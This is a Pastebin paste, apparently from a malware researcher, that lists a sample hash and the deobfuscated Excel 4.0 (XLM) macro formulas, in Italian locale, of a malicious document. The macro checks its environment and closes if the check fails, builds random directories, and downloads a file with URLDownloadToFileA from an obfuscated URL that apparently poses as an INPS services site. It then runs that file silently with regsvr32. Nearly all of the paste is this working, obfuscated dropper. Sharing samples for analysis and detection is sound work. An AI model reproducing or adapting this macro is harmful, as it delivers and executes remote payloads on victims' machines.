Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Hash: 53c9fcabdc30f2bf24bc0c3a8586de2986417b3e51d697530c8a84a7cea37f79
- VBA -> generate and run XLM macro
- NOME.RIF("D";"")
- NOME.RIF("m";ARCCOS(-0,5)*135/PI.GRECO())
- NOME.RIF("p";COS(RADIANTI(60))-COS(60*PI.GRECO()/180))
- NOME.RIF("K";"w")
- NOME.RIF("Z";"o")
- SE(VAL.NUMERO(RICERCA(K;INFO.AREA.DI.LAVORO(1))); ;CHIUDE(VERO))
- NOME.RIF("A";"C:"&D&CODICE.CARATT(CASUALE.TRA(65;m))&CODICE.CARATT(CASUALE.TRA(65;m))&CASUALE.TRA(100;999)&CODICE.CARATT(CASUALE.TRA(65;m)))
- NOME.RIF("if";CODICE.CARATT(115))
- NOME.RIF("V";"l")
- NOME.RIF("B";A&D&CODICE.CARATT(CASUALE.TRA(65;m))&CODICE.CARATT(CASUALE.TRA(65;m))&CASUALE.TRA(100;999)&CODICE.CARATT(CASUALE.TRA(65;m)))
- NOME.RIF("F";INFO.AREA.DI.LAVORO(13)&".")
- NOME.RIF("U";"e")
- RICHIAMA("K"&U&"rn"&U&"l32";"Cr"&U&"at"&U&"Direct"&Z&"ryA";"JCJ";A;p)
- NOME.RIF("G";NOME.RIF("h";"rvizi"))
- RICHIAMA("Kern"&U&"l32";"CreateDir"&U&"ct"&Z&"ryA";"JCJ";B;p)
- RICHIAMA("URLMON";"URLD"&Z&"wnl"&Z&"adT"&Z&"FileA"; "JJCCJJ";p;RIMPIAZZA("hqps:"&INFO.AREA.DI.LAVORO(9)&INFO.AREA.DI.LAVORO(9)&"inp"&if&"-"&if&U&h&DESTRA(F)&"c"&Z&"m";2;1;"tt");B&D&F;p;p)
- ATTESA(ADESSO()+"00:00:08")
- RICHIAMA("Sh"&U&"ll32";"Sh"&U&"llEx"&U&"cut"&U&"A"; "JJCCCCJ";p;"Op"&U&"n";"r"&U&"gsvr32";" -"&if&" "&B&D&F;p;p)
- FILE.CHIUDI(FALSO)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement